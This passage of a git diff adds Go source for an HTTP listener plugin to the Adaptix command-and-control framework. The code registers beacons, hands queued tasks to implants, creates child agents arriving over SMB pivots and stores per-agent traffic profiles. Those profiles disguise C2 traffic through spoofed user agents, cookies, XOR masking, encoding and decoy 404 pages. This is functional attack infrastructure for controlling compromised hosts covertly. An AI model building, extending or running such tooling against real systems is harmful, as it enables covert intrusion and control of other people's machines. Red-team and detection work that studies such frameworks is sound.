http.StatusInternalServerError) + return + } + s.writeServerResponse(w, tx, encrypted) +} + +// writeResponseOrNoTasks checks whether the server has any pre-packed task +// bytes for this agent (via TsAgentGetHostedAll) and sends them encrypted. +// Falls back to a NO_TASKS frame when nothing is queued. +func (s *httpServer) writeResponseOrNoTasks(w http.ResponseWriter, agentId string, tx *HTTPTransaction) { + var payload []byte + + if s.ts != nil { + hosted, err := s.ts.TsAgentGetHostedAll(agentId, 0x12c0000) + if err == nil && len(hosted) > 0 { + payload = hosted + } + } + + if len(payload) == 0 { + s.writeNoTasks(w, tx) + return + } + + s.writeServerResponse(w, tx, payload) +} + +func (s *httpServer) writeProfileResponse(w http.ResponseWriter, tx *HTTPTransaction, beaconID string) { + var profileFrame []byte + if cachedID, ok := s.agentIDMap.Load(beaconID); ok { + if override, ok := s.agentProfiles.Load(cachedID.(string)); ok { + body := EncodeProfileBodyV2(override.(*ProfileConfig)) + profileFrame = EncodeFrame(WireTypeProfile, body) + } + } + if profileFrame == nil { + profileFrame = s.buildProfileFrame() + } + encrypted, err := EncryptCBCRandomIV(s.encryptKey, profileFrame) + if err != nil { + http.Error(w, "internal error", http.StatusInternalServerError) + return + } + s.writeServerResponse(w, tx, encrypted) + naxListenerLogOk("PROFILE v2 frame sent") +} + +func (s *httpServer) errorHandler(w http.ResponseWriter, _ *http.Request) { + for k, v := range s.profile.Error.Headers { + w.Header().Set(k, v) + } + w.WriteHeader(s.profile.Error.Status) + _, _ = w.Write([]byte(s.profile.Error.Body)) +} + +// isValidBeaconID -- exactly 16 hex chars per docs/protocol/wire-v0.md. +func isValidBeaconID(s string) bool { + if len(s) != 16 { + return false + } + for _, c := range s { + switch { + case '0' <= c && c <= '9', 'a' <= c && c <= 'f', 'A' <= c && c <= 'F': + default: + return false + } + } + return true +} diff --git a/src_server/listener_nonameax_http/pl_http_profile.go b/src_server/listener_nonameax_http/pl_http_profile.go new file mode 100644 index 0000000..a1105af --- /dev/null +++ b/src_server/listener_nonameax_http/pl_http_profile.go @@ -0,0 +1,347 @@ +package main + +import ( + "encoding/json" + "strings" +) + +/* ========= [ Profile parsing ] ========= */ + +// parseProfileConfig builds a ProfileConfig from the listener config JSON. +// Handles both the flat field format (current UI) and the v2 callbacks format +// (future JSON import). +func parseProfileConfig(cfg map[string]any) *ProfileConfig { + p := &ProfileConfig{ + Rotation: "sequential", + Error: ServerError{ + Status: 404, + Body: "\n

404

\n", + Headers: map[string]string{"Content-Type": "text/html"}, + }, + } + + // Debug: log all config keys + keys := make([]string, 0, len(cfg)) + for k := range cfg { keys = append(keys, k) } + naxListenerLogInfo("parseProfileConfig: keys=%v", keys) + + // v2 JSON from profile_json textarea (Import JSON button) + if jsonStr, ok := cfg["profile_json"].(string); ok && jsonStr != "" { + naxListenerLogInfo("parseProfileConfig: found profile_json (%d chars)", len(jsonStr)) + var parsed map[string]any + if err := json.Unmarshal([]byte(jsonStr), &parsed); err == nil { + if arr, ok := parsed["callbacks"].([]any); ok && len(arr) > 0 { + if cb, ok := arr[0].(map[string]any); ok { + parseCallbackV2(cb, p) + } + } + return p + } + } + + // v2 JSON format: if "callbacks" array is present at top level, parse it directly + if raw, ok := cfg["callbacks"]; ok { + if arr, ok := raw.([]any); ok && len(arr) > 0 { + if cb, ok := arr[0].(map[string]any); ok { + parseCallbackV2(cb, p) + } + } + return p + } + + // Build ProfileConfig from flat listener config fields (v2 UI keys). + + // --- General --- + if ua, ok := cfg["user_agents"].(string); ok && ua != "" { + p.UserAgent = ua + } else if uas, ok := cfg["user_agents"].([]any); ok && len(uas) > 0 { + if s, ok := uas[0].(string); ok { + p.UserAgent = s + } + } + if rot, ok := cfg["rotation"].(string); ok && rot != "" { + p.Rotation = rot + } + if raw, ok := cfg["callbacks_hosts"].([]any); ok { + for _, h := range raw { + if s, ok := h.(string); ok && s != "" { + p.Hosts = append(p.Hosts, s) + } + } + } + + // --- GET URIs --- + if raw, ok := cfg["get_uris"].([]any); ok { + for _, u := range raw { + if s, ok := u.(string); ok && s != "" { + p.Get.URIs = append(p.Get.URIs, s) + } + } + } + + p.Get.ClientHeaders = parseHeaderList(cfg, "get_client_headers") + p.Get.ClientMeta = parseFlatOutputConfig(cfg, "get_meta") + p.Get.ServerOutput = parseFlatOutputConfig(cfg, "get_srv") + if empty, ok := cfg["get_srv_empty"].(string); ok { + p.Get.ServerOutput.EmptyResp = empty + } + p.Get.ServerHeaders = parseHeaderList(cfg, "get_srv_headers") + if len(p.Get.ServerHeaders) == 0 { + p.Get.ServerHeaders = map[string]string{"Content-Type": "application/octet-stream", "Connection": "keep-alive"} + } + + // --- POST URIs --- + if raw, ok := cfg["post_uris"].([]any); ok { + for _, u := range raw { + if s, ok := u.(string); ok && s != "" { + p.Post.URIs = append(p.Post.URIs, s) + } + } + } + + p.Post.ClientHeaders = parseHeaderList(cfg, "post_client_headers") + p.Post.ClientMeta = parseFlatOutputConfig(cfg, "post_meta") + postOut := parseFlatOutputConfig(cfg, "post_out") + p.Post.ClientOutput = &postOut + p.Post.ServerOutput = parseFlatOutputConfig(cfg, "post_srv") + if empty, ok := cfg["post_srv_empty"].(string); ok { + p.Post.ServerOutput.EmptyResp = empty + } + p.Post.ServerHeaders = parseHeaderList(cfg, "post_srv_headers") + if len(p.Post.ServerHeaders) == 0 { + p.Post.ServerHeaders = map[string]string{"Content-Type": "application/octet-stream", "Connection": "keep-alive"} + } + + // Legacy compat: "extra_headers" -> GET client headers (old UI key) + if len(p.Get.ClientHeaders) == 0 { + if raw, ok := cfg["extra_headers"].([]any); ok && len(raw) > 0 { + p.Get.ClientHeaders = map[string]string{} + for _, u := range raw { + if s, ok := u.(string); ok && s != "" { + if idx := strings.Index(s, ": "); idx > 0 { + p.Get.ClientHeaders[s[:idx]] = s[idx+2:] + } + } + } + } + } + + if p.Get.ClientMeta.Format == "" && p.Get.ClientMeta.Placement == "" { + cookieName := "__session" + if cn, ok := cfg["cookie_name"].(string); ok && cn != "" { + cookieName = cn + } + p.Get.ClientMeta = OutputConfig{Format: "base64", Placement: "cookie", Name: cookieName} + } + + if p.Post.ClientMeta.Format == "" && p.Post.ClientMeta.Placement == "" { + p.Post.ClientMeta = OutputConfig{Format: "raw", Placement: "header", Name: "X-Beacon-Id"} + } + if p.Post.ClientOutput != nil && p.Post.ClientOutput.Format == "" && p.Post.ClientOutput.Placement == "" { + p.Post.ClientOutput = &OutputConfig{Format: "raw", Placement: "body"} + } + + // --- Error page --- + if errStatus, ok := cfg["err_status"].(float64); ok && errStatus > 0 { + p.Error.Status = int(errStatus) + } + if errBody, ok := cfg["err_body"].(string); ok && errBody != "" { + p.Error.Body = errBody + } + if errHdrs := parseHeaderList(cfg, "err_headers"); len(errHdrs) > 0 { + p.Error.Headers = errHdrs + } + if errBody, ok := cfg["page-error"].(string); ok && errBody != "" { + p.Error.Body = errBody + } + + return p +} + +// parseCallbackV2 populates a ProfileConfig from a v2 callbacks JSON object. +func parseCallbackV2(cb map[string]any, p *ProfileConfig) { + if raw, ok := cb["hosts"].([]any); ok { + for _, h := range raw { + if s, ok := h.(string); ok && s != "" { + p.Hosts = append(p.Hosts, s) + } + } + } + if ua, ok := cb["user_agent"].(string); ok { + p.UserAgent = ua + } + if bh, ok := cb["beacon_id_header"].(string); ok { + p.BeaconIdHeader = bh + } + if rot, ok := cb["rotation"].(string); ok { + p.Rotation = rot + } + if se, ok := cb["server_error"].(map[string]any); ok { + if st, ok := se["status"].(float64); ok { + p.Error.Status = int(st) + } else if st, ok := se["http_status"].(float64); ok { + p.Error.Status = int(st) + } + if body, ok := se["body"].(string); ok { + p.Error.Body = body + } else if body, ok := se["response"].(string); ok { + p.Error.Body = body + } + if hdrs, ok := se["headers"].(map[string]any); ok { + p.Error.Headers = map[string]string{} + for k, v := range hdrs { + if s, ok := v.(string); ok { + p.Error.Headers[k] = s + } + } + } + } + if get, ok := cb["get"].(map[string]any); ok { + parseHTTPTransactionV2(get, &p.Get, false) + } + if post, ok := cb["post"].(map[string]any); ok { + parseHTTPTransactionV2(post, &p.Post, true) + } +} + +func parseHTTPTransactionV2(raw map[string]any, tx *HTTPTransaction, isPost bool) { + uriKey := "uri" + if _, ok := raw[uriKey]; !ok { + uriKey = "uris" + } + if uris, ok := raw[uriKey].([]any); ok { + for _, u := range uris { + if s, ok := u.(string); ok && s != "" { + tx.URIs = append(tx.URIs, s) + } + } + } + + client := raw + if c, ok := raw["client"].(map[string]any); ok { + client = c + } + + if hdrs, ok := client["headers"].(map[string]any); ok { + tx.ClientHeaders = map[string]string{} + for k, v := range hdrs { + if s, ok := v.(string); ok { + tx.ClientHeaders[k] = s + } + } + } + if meta, ok := client["metadata"].(map[string]any); ok { + tx.ClientMeta = parseOutputConfigV2(meta) + } else if meta, ok := raw["client_meta"].(map[string]any); ok { + tx.ClientMeta = parseOutputConfigV2(meta) + } + if isPost { + if out, ok := client["output"].(map[string]any); ok { + cfg := parseOutputConfigV2(out) + tx.ClientOutput = &cfg + } else if out, ok := raw["client_output"].(map[string]any); ok { + cfg := parseOutputConfigV2(out) + tx.ClientOutput = &cfg + } + } + if params, ok := client["parameters"].(map[string]any); ok { + tx.ClientParams = map[string]string{} + for k, v := range params { + if s, ok := v.(string); ok { + tx.ClientParams[k] = s + } + } + } + + server := raw + if s, ok := raw["server"].(map[string]any); ok { + server = s + } + + if shdrs, ok := server["headers"].(map[string]any); ok { + tx.ServerHeaders = map[string]string{} + for k, v := range shdrs { + if s, ok := v.(string); ok { + tx.ServerHeaders[k] = s + } + } + } + if sout, ok := server["output"].(map[string]any); ok { + tx.ServerOutput = parseOutputConfigV2(sout) + } else if sout, ok := raw["server_output"].(map[string]any); ok { + tx.ServerOutput = parseOutputConfigV2(sout) + } +} + +func parseOutputConfigV2(raw map[string]any) OutputConfig { + cfg := OutputConfig{} + if f, ok := raw["format"].(string); ok { + cfg.Format = f + } + if m, ok := raw["mask"].(bool); ok { + cfg.Mask = m + } + if p, ok := raw["placement"].(string); ok { + cfg.Placement = p + } + if n, ok := raw["name"].(string); ok { + cfg.Name = n + } + if pre, ok := raw["prepend"].(string); ok { + cfg.Prepend = pre + } + if app, ok := raw["append"].(string); ok { + cfg.Append = app + } + if er, ok := raw["empty_resp"].(string); ok { + cfg.EmptyResp = er + } + return cfg +} + +func parseFlatOutputConfig(cfg map[string]any, prefix string) OutputConfig { + oc := OutputConfig{} + if f, ok := cfg[prefix+"_format"].(string); ok { + oc.Format = f + } + if m, ok := cfg[prefix+"_mask"].(bool); ok { + oc.Mask = m + } + if p, ok := cfg[prefix+"_placement"].(string); ok { + oc.Placement = p + } + if n, ok := cfg[prefix+"_name"].(string); ok { + oc.Name = n + } + if pre, ok := cfg[prefix+"_prepend"].(string); ok { + oc.Prepend = pre + } + if app, ok := cfg[prefix+"_append"].(string); ok { + oc.Append = app + } + return oc +} + +func parseHeaderList(cfg map[string]any, key string) map[string]string { + if raw, ok := cfg[key].([]any); ok && len(raw) > 0 { + m := map[string]string{} + for _, u := range raw { + if s, ok := u.(string); ok && s != "" { + if idx := strings.Index(s, ": "); idx > 0 { + m[s[:idx]] = s[idx+2:] + } + } + } + return m + } + if raw, ok := cfg[key].(map[string]any); ok { + m := map[string]string{} + for k, v := range raw { + if s, ok := v.(string); ok { + m[k] = s + } + } + return m + } + return nil +} diff --git a/src_server/listener_nonameax_http/pl_http_profile_store.go b/src_server/listener_nonameax_http/pl_http_profile_store.go new file mode 100644 index 0000000..c38982d --- /dev/null +++ b/src_server/listener_nonameax_http/pl_http_profile_store.go @@ -0,0 +1,268 @@ +package main + +import ( + "bytes" + "encoding/json" + "time" +) + +/* ========= [ Per-agent profile overrides ] ========= */ + +const extenderNameProfiles = "nax_profiles" + +// loadProfileOverrides reads all persisted profile overrides from the +// teamserver's TsExtenderData store and populates the agentProfiles map. +func (s *httpServer) loadProfileOverrides() { + if s.ts == nil { + return + } + keys, err := s.ts.TsExtenderDataKeys(extenderNameProfiles) + if err != nil || len(keys) == 0 { + return + } + for _, agentID := range keys { + s.loadProfileFromStore(agentID) + } + s.rebuildBeaconIDHeaders() +} + +// loadProfileFromStore reads a single agent's profile override from the store. +// Returns true if the profile was new or changed. +func (s *httpServer) loadProfileFromStore(agentID string) bool { + if s.ts == nil { + return false + } + raw, err := s.ts.TsExtenderDataLoad(extenderNameProfiles, agentID) + if err != nil || len(raw) == 0 { + return false + } + if prev, ok := s.profileStoreRaw.Load(agentID); ok && bytes.Equal(prev.([]byte), raw) { + return false + } + s.profileStoreRaw.Store(agentID, raw) + var wrapper struct { + BeaconIdHeader string `json:"beacon_id_header"` + Profile map[string]any `json:"profile"` + } + if err := json.Unmarshal(raw, &wrapper); err != nil { + naxListenerLogErr("loadProfileFromStore: parse agent %s: %v", agentID, err) + return false + } + if wrapper.Profile == nil { + return false + } + profCfg := parseProfileFromStoreEntry(wrapper.Profile, wrapper.BeaconIdHeader) + if existing, ok := s.agentProfiles.Load(agentID); ok { + s.agentPrevProfiles.Store(agentID, existing) + naxListenerLogOk("updated profile override for agent %s (beacon_id_header=%s), previous preserved", agentID, profCfg.BeaconIdHeader) + } else { + naxListenerLogOk("loaded profile override for agent %s (beacon_id_header=%s)", agentID, profCfg.BeaconIdHeader) + } + s.agentProfiles.Store(agentID, profCfg) + return true +} + +// parseProfileFromStoreEntry builds a ProfileConfig from the stored JSON. +func parseProfileFromStoreEntry(raw map[string]any, beaconHdr string) *ProfileConfig { + jsonBytes, err := json.Marshal(raw) + if err != nil { + return &ProfileConfig{} + } + var profMap map[string]any + if err := json.Unmarshal(jsonBytes, &profMap); err != nil { + return &ProfileConfig{} + } + p := &ProfileConfig{ + Rotation: "sequential", + Error: ServerError{ + Status: 404, + Body: "\n

404

\n", + Headers: map[string]string{"Content-Type": "text/html"}, + }, + } + if ua, ok := profMap["UserAgent"].(string); ok { + p.UserAgent = ua + } + if bh, ok := profMap["BeaconIdHeader"].(string); ok { + p.BeaconIdHeader = bh + } + if beaconHdr != "" { + p.BeaconIdHeader = beaconHdr + } + if rot, ok := profMap["Rotation"].(string); ok { + p.Rotation = rot + } + if hosts, ok := profMap["Hosts"].([]any); ok { + for _, h := range hosts { + if s, ok := h.(string); ok { + p.Hosts = append(p.Hosts, s) + } + } + } + if errMap, ok := profMap["Error"].(map[string]any); ok { + if st, ok := errMap["Status"].(float64); ok { + p.Error.Status = int(st) + } + if body, ok := errMap["Body"].(string); ok { + p.Error.Body = body + } + if hdrs, ok := errMap["Headers"].(map[string]any); ok { + p.Error.Headers = map[string]string{} + for k, v := range hdrs { + if s, ok := v.(string); ok { + p.Error.Headers[k] = s + } + } + } + } + parseHTTPTransactionFromStore(profMap, "Get", &p.Get, false) + parseHTTPTransactionFromStore(profMap, "Post", &p.Post, true) + return p +} + +func parseHTTPTransactionFromStore(profMap map[string]any, key string, tx *HTTPTransaction, isPost bool) { + raw, ok := profMap[key].(map[string]any) + if !ok { + return + } + if uris, ok := raw["URIs"].([]any); ok { + for _, u := range uris { + if s, ok := u.(string); ok { + tx.URIs = append(tx.URIs, s) + } + } + } + if hdrs, ok := raw["ClientHeaders"].(map[string]any); ok { + tx.ClientHeaders = map[string]string{} + for k, v := range hdrs { + if s, ok := v.(string); ok { + tx.ClientHeaders[k] = s + } + } + } + if params, ok := raw["ClientParams"].(map[string]any); ok { + tx.ClientParams = map[string]string{} + for k, v := range params { + if s, ok := v.(string); ok { + tx.ClientParams[k] = s + } + } + } + if meta, ok := raw["ClientMeta"].(map[string]any); ok { + tx.ClientMeta = parseOutputConfigFromStore(meta) + } + if isPost { + if out, ok := raw["ClientOutput"].(map[string]any); ok { + cfg := parseOutputConfigFromStore(out) + tx.ClientOutput = &cfg + } + } + if shdrs, ok := raw["ServerHeaders"].(map[string]any); ok { + tx.ServerHeaders = map[string]string{} + for k, v := range shdrs { + if s, ok := v.(string); ok { + tx.ServerHeaders[k] = s + } + } + } + if sout, ok := raw["ServerOutput"].(map[string]any); ok { + tx.ServerOutput = parseOutputConfigFromStore(sout) + } +} + +func parseOutputConfigFromStore(raw map[string]any) OutputConfig { + cfg := OutputConfig{} + if f, ok := raw["Format"].(string); ok { + cfg.Format = f + } + if m, ok := raw["Mask"].(bool); ok { + cfg.Mask = m + } + if p, ok := raw["Placement"].(string); ok { + cfg.Placement = p + } + if n, ok := raw["Name"].(string); ok { + cfg.Name = n + } + if pre, ok := raw["Prepend"].(string); ok { + cfg.Prepend = pre + } + if app, ok := raw["Append"].(string); ok { + cfg.Append = app + } + if er, ok := raw["EmptyResp"].(string); ok { + cfg.EmptyResp = er + } + return cfg +} + +// rebuildBeaconIDHeaders builds the deduped list of all known beacon ID headers +// (default + current overrides + previous overrides). +func (s *httpServer) rebuildBeaconIDHeaders() { + seen := map[string]bool{s.hbHeader: true} + headers := []string{s.hbHeader} + addFrom := func(_, v any) bool { + p := v.(*ProfileConfig) + hdr := p.BeaconIdHeader + if hdr == "" { + hdr = "X-Beacon-Id" + } + if !seen[hdr] { + seen[hdr] = true + headers = append(headers, hdr) + } + return true + } + s.agentProfiles.Range(addFrom) + s.agentPrevProfiles.Range(addFrom) + s.beaconIDHeaders = headers +} + +// pollProfileStore checks the teamserver store for new or updated profile +// overrides at most once every 5 seconds. +func (s *httpServer) pollProfileStore() { + now := time.Now() + if now.Sub(s.profileStoreCheck) < 5*time.Second { + return + } + s.profileStoreCheck = now + s.reloadAllProfiles() +} + +// forceReloadProfiles bypasses the 5-second throttle and reloads all profiles +// from the store immediately. +func (s *httpServer) forceReloadProfiles() { + s.reloadAllProfiles() + s.profileStoreCheck = time.Now() +} + +func (s *httpServer) reloadAllProfiles() { + if s.ts == nil { + return + } + keys, err := s.ts.TsExtenderDataKeys(extenderNameProfiles) + if err != nil { + return + } + activeKeys := make(map[string]struct{}, len(keys)) + changed := false + for _, agentID := range keys { + activeKeys[agentID] = struct{}{} + if s.loadProfileFromStore(agentID) { + changed = true + } + } + s.agentProfiles.Range(func(key, _ any) bool { + if _, ok := activeKeys[key.(string)]; !ok { + s.agentProfiles.Delete(key) + s.agentPrevProfiles.Delete(key) + s.profileStoreRaw.Delete(key) + naxListenerLogInfo("removed stale profile override for agent %s", key.(string)) + changed = true + } + return true + }) + if changed { + s.rebuildBeaconIDHeaders() + } +} diff --git a/src_server/listener_nonameax_http/pl_http_transform.go b/src_server/listener_nonameax_http/pl_http_transform.go new file mode 100644 index 0000000..f01cc7e --- /dev/null +++ b/src_server/listener_nonameax_http/pl_http_transform.go @@ -0,0 +1,236 @@ +package main + +import ( + "crypto/rand" + "encoding/base64" + "encoding/hex" + "errors" + "fmt" + "io" + "net/http" +) + +/* ========= [ Transform functions ] ========= */ + +// xorMask applies a 4-byte random XOR mask: output = key(4) || masked_data. +func xorMask(data []byte) []byte { + key := make([]byte, 4) + _, _ = rand.Read(key) + out := make([]byte, 4+len(data)) + copy(out[:4], key) + for i, b := range data { + out[4+i] = b ^ key[i%4] + } + return out +} + +// xorUnmask strips a 4-byte key prefix and XOR-unmasks the rest. +func xorUnmask(data []byte) []byte { + if len(data) < 4 { + return nil + } + key := data[:4] + out := make([]byte, len(data)-4) + for i := range out { + out[i] = data[4+i] ^ key[i%4] + } + return out +} + +// formatEncode applies the specified encoding format. +func formatEncode(format string, data []byte) []byte { + switch format { + case "base64": + return []byte(base64.StdEncoding.EncodeToString(data)) + case "base64url": + return []byte(base64.RawURLEncoding.EncodeToString(data)) + case "hex": + return []byte(hex.EncodeToString(data)) + default: + return data // raw + } +} + +// formatDecode reverses the specified encoding format. +func formatDecode(format string, data []byte) ([]byte, error) { + switch format { + case "base64": + decoded, err := base64.StdEncoding.DecodeString(string(data)) + if err != nil { + decoded, err = base64.RawStdEncoding.DecodeString(string(data)) + } + return decoded, err + case "base64url": + decoded, err := base64.RawURLEncoding.DecodeString(string(data)) + if err != nil { + decoded, err = base64.URLEncoding.DecodeString(string(data)) + } + return decoded, err + case "hex": + return hex.DecodeString(string(data)) + default: + return data, nil // raw + } +} + +// encodeServerOutput applies forward transforms to pre-encrypted data: +// mask -> encode -> prepend/append. AES encryption is handled by the agent +// plugin's Encrypt (called in PackData), NOT here. +func encodeServerOutput(cfg *OutputConfig, data []byte) ([]byte, error) { + if cfg.Mask { + data = xorMask(data) + } + + data = formatEncode(cfg.Format, data) + + if cfg.Prepend != "" || cfg.Append != "" { + var buf []byte + if cfg.Prepend != "" { + buf = append(buf, []byte(cfg.Prepend)...) + } + buf = append(buf, data...) + if cfg.Append != "" { + buf = append(buf, []byte(cfg.Append)...) + } + data = buf + } + + return data, nil +} + +// decodeClientInput reverses profile-level transforms: +// strip prepend/append -> decode -> unmask. AES decryption is handled by the +// agent plugin's Decrypt (called by the server in Agent.ProcessData), NOT here. +func decodeClientInput(cfg *OutputConfig, encoded []byte) ([]byte, error) { + data := encoded + + // Strip prepend/append + prependStripped := false + if cfg.Prepend != "" { + pre := []byte(cfg.Prepend) + if len(data) >= len(pre) && string(data[:len(pre)]) == cfg.Prepend { + data = data[len(pre):] + prependStripped = true + } + } + appendStripped := false + if cfg.Append != "" { + app := []byte(cfg.Append) + if len(data) >= len(app) && string(data[len(data)-len(app):]) == cfg.Append { + data = data[:len(data)-len(app)] + appendStripped = true + } + } + if (cfg.Prepend != "" && !prependStripped) || (cfg.Append != "" && !appendStripped) { + naxListenerLogInfo("decodeClientInput: strip failed prepend=%v(%d) append=%v(%d) dataLen=%d", prependStripped, len(cfg.Prepend), appendStripped, len(cfg.Append), len(encoded)) + } + + // Format decode + decoded, err := formatDecode(cfg.Format, data) + if err != nil { + return nil, fmt.Errorf("format decode (%s) dataLen=%d: %w", cfg.Format, len(data), err) + } + data = decoded + + // XOR unmask + if cfg.Mask { + data = xorUnmask(data) + if data == nil { + return nil, errors.New("xor unmask: data too short for 4-byte key") + } + } + + return data, nil +} + +/* ========= [ Extraction helpers ] ========= */ + +// extractMeta reads the session ID (beaconID) from the location specified +// by the OutputConfig placement. Returns the raw (still-encoded) value. +func extractMeta(cfg *OutputConfig, r *http.Request) (string, error) { + switch cfg.Placement { + case "header": + val := r.Header.Get(cfg.Name) + if val == "" { + return "", errors.New("missing header: " + cfg.Name) + } + return val, nil + case "cookie": + cookie, err := r.Cookie(cfg.Name) + if err != nil || cookie.Value == "" { + return "", errors.New("missing cookie: " + cfg.Name) + } + return cookie.Value, nil + case "parameter": + val := r.URL.Query().Get(cfg.Name) + if val == "" { + return "", errors.New("missing query param: " + cfg.Name) + } + return val, nil + case "body": + return "", errors.New("meta from body not supported for session ID extraction") + default: + return "", errors.New("unknown placement: " + cfg.Placement) + } +} + +// extractClientOutput reads the client data payload from the POST request +// based on the OutputConfig placement. +func extractClientOutput(cfg *OutputConfig, r *http.Request) ([]byte, error) { + switch cfg.Placement { + case "body": + return io.ReadAll(http.MaxBytesReader(nil, r.Body, 32<<20)) + case "header": + val := r.Header.Get(cfg.Name) + if val == "" { + return nil, errors.New("missing header: " + cfg.Name) + } + return []byte(val), nil + case "cookie": + cookie, err := r.Cookie(cfg.Name) + if err != nil || cookie.Value == "" { + return nil, errors.New("missing cookie: " + cfg.Name) + } + return []byte(cookie.Value), nil + case "parameter": + val := r.URL.Query().Get(cfg.Name) + if val == "" { + return nil, errors.New("missing query param: " + cfg.Name) + } + return []byte(val), nil + default: + return nil, errors.New("unknown placement: " + cfg.Placement) + } +} + +// decodeMetaToBeaconID decodes the raw meta value into a beaconID string. +// For most formats this means format-decode then take the hex string; +// for "raw" format the value is already the beaconID string. +func decodeMetaToBeaconID(cfg *OutputConfig, rawMeta string) (string, error) { + if cfg.Format == "raw" || cfg.Format == "" { + return rawMeta, nil + } + + data := []byte(rawMeta) + + // Strip prepend/append from meta + if cfg.Prepend != "" { + pre := []byte(cfg.Prepend) + if len(data) >= len(pre) && string(data[:len(pre)]) == cfg.Prepend { + data = data[len(pre):] + } + } + if cfg.Append != "" { + app := []byte(cfg.Append) + if len(data) >= len(app) && string(data[len(data)-len(app):]) == cfg.Append { + data = data[:len(data)-len(app)] + } + } + + decoded, err := formatDecode(cfg.Format, data) + if err != nil { + return "", fmt.Errorf("meta decode (%s): %w", cfg.Format, err) + } + + return string(decoded), nil +} diff --git a/src_server/listener_nonameax_http/pl_main.go b/src_server/listener_nonameax_http/pl_main.go new file mode 100644 index 0000000..9d7a67a --- /dev/null +++ b/src_server/listener_nonameax_http/pl_main.go @@ -0,0 +1,151 @@ +package main + +import ( + "fmt" + "strings" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +// Teamserver is the subset of Adaptix host callbacks the listener uses. +// Method signatures mirror those declared in +// +// out_source_projects/Kharon/listener_kharon_http/src_server/pl_main.go:11-15 +// +// Add to it as Phase 3+ tasks need more callbacks. +type Teamserver interface { + // TsAgentIsExists returns true when the server has a registered agent + // with the given Id (the server-assigned AgentData.Id, *not* a beaconID). + // Used by the listener to invalidate stale beaconID → adaptixID entries + // after an operator deletes a session from the GUI. + TsAgentIsExists(agentId string) bool + + // TsAgentCreate registers a new agent. The returned AgentData.Id is the + // server-assigned ID that must be used for all subsequent agent calls. + TsAgentCreate(agentCrc, agentId string, beat []byte, + listenerName, ExternalIP string, Async bool) (adaptix.AgentData, error) + + // TsAgentProcessData hands a decrypted beacon body up to the server. + // agentId must be the server-assigned AgentData.Id (not the beaconID). + TsAgentProcessData(agentId string, bodyData []byte) error + + // TsAgentGetHostedAll retrieves pre-packed task bytes for the agent + // (the output of ExtenderAgent.PackTasks). Returns (nil, nil) when no + // tasks are queued. maxSize=0 means no cap on the returned data. + // agentId must be the server-assigned AgentData.Id (not the beaconID). + TsAgentGetHostedAll(agentId string, maxSize int) ([]byte, error) + + // TsAgentSetTick stamps LastTick = now and sets agent.Tick = true. + // A background goroutine (TsAgentTickUpdate, ~800 ms) collects all agents + // with Tick = true and sends a SpAgentTick packet to connected clients, + // which drives the "Last" column countdown in the operator UI. + // Must be called on every successful beacon round-trip. + TsAgentSetTick(agentId string, listenerName string) error + + TsExtenderDataLoad(extenderName, key string) ([]byte, error) + TsExtenderDataKeys(extenderName string) ([]string, error) +} + +type PluginListener struct{} + +// extenderListener implements adaptix.ExtenderListener and delegates lifecycle +// calls to httpServer (defined in pl_http.go, Task 1.11). +type extenderListener struct { + name string + srv *httpServer +} + +var ( + Ts Teamserver + ModuleDir string + ListenerDataDir string +) + +// InitPlugin is the symbol Adaptix Server looks up after loading the .so. +// Signature mirrors the Kharon reference listener plugin (three params). +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + if ts != nil { + Ts, _ = ts.(Teamserver) + } + return &PluginListener{} +} + +// Create builds a ListenerData + ExtenderListener from the operator-supplied +// JSON config. Signature matches axc2 v1.2.0 PluginListener interface. +func (p *PluginListener) Create(name, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + srv, err := newHTTPServer(name, config, Ts) + if err != nil { + return nil, adaptix.ListenerData{}, nil, err + } + agentAddr := "" + if len(srv.profile.Hosts) > 0 { + agentAddr = strings.Join(srv.profile.Hosts, ", ") + } + proto := "http" + if srv.ssl { + proto = "https" + } + listenerData := adaptix.ListenerData{ + Name: name, + BindHost: srv.bindHost(), + BindPort: fmt.Sprintf("%d", srv.bindPort()), + AgentAddr: agentAddr, + Protocol: proto, + Type: "external", + Status: "stopped", + } + return &extenderListener{name: name, srv: srv}, listenerData, []byte(config), nil +} + +// --- adaptix.ExtenderListener implementation --- + +func (a *extenderListener) Start() error { + return a.srv.start() +} + +func (a *extenderListener) Stop() error { + return a.srv.stop() +} + +func (a *extenderListener) Edit(config string) (adaptix.ListenerData, []byte, error) { + listenerData, err := a.srv.edit(config) + if err != nil { + return adaptix.ListenerData{}, nil, err + } + return listenerData, []byte(config), nil +} + +func (a *extenderListener) GetProfile() ([]byte, error) { + return a.srv.profileJSON() +} + +// InternalHandler processes a child agent's first beat arriving via a pivot +// (SMB named pipe). The parent extracted the watermark and the server used it +// to route here. data = sessionId(16) + encrypted_frame. +func (a *extenderListener) InternalHandler(data []byte) (string, error) { + naxListenerLogInfo("InternalHandler: data len=%d", len(data)) + if len(data) < 17 { + return "", fmt.Errorf("InternalHandler: data too short (%d)", len(data)) + } + beaconID := string(data[:16]) + ciphertext := data[16:] + naxListenerLogInfo("InternalHandler: beaconID=%s ciphertextLen=%d keyPrefix=%x", beaconID, len(ciphertext), a.srv.encryptKey[:4]) + + beatWithId := make([]byte, 16+16+len(ciphertext)) + copy(beatWithId[:16], beaconID) + copy(beatWithId[16:32], a.srv.encryptKey) + copy(beatWithId[32:], ciphertext) + + agentData, err := a.srv.ts.TsAgentCreate(agentWatermark, beaconID, beatWithId, a.name, "0.0.0.0", false) + if err != nil { + naxListenerLogErr("InternalHandler: TsAgentCreate failed: %v", err) + return "", fmt.Errorf("InternalHandler: TsAgentCreate: %w", err) + } + naxListenerLogInfo("InternalHandler: child agent created id=%s", agentData.Id) + a.srv.agentIDMap.Store(beaconID, agentData.Id) + return agentData.Id, nil +} + +func main() {} diff --git a/src_server/listener_nonameax_http/pl_main_test.go b/src_server/listener_nonameax_http/pl_main_test.go new file mode 100644 index 0000000..81871b2 --- /dev/null +++ b/src_server/listener_nonameax_http/pl_main_test.go @@ -0,0 +1,74 @@ +package main + +import ( + "encoding/hex" + "encoding/json" + "net" + "strconv" + "testing" + "time" +) + +// TestListenerCreateBindsPort verifies that Create returns successfully and +// that a subsequent Start binds the configured port. We allocate an ephemeral +// port by listening on :0, record the port, close it, then ask the listener +// under test to bind that same port (there is a small TOCTOU window, but it is +// acceptable for a unit test on loopback). +func TestListenerCreateBindsPort(t *testing.T) { + // Allocate a free port. + tmp, err := net.Listen("tcp", "127.0.0.1:0") + if err != 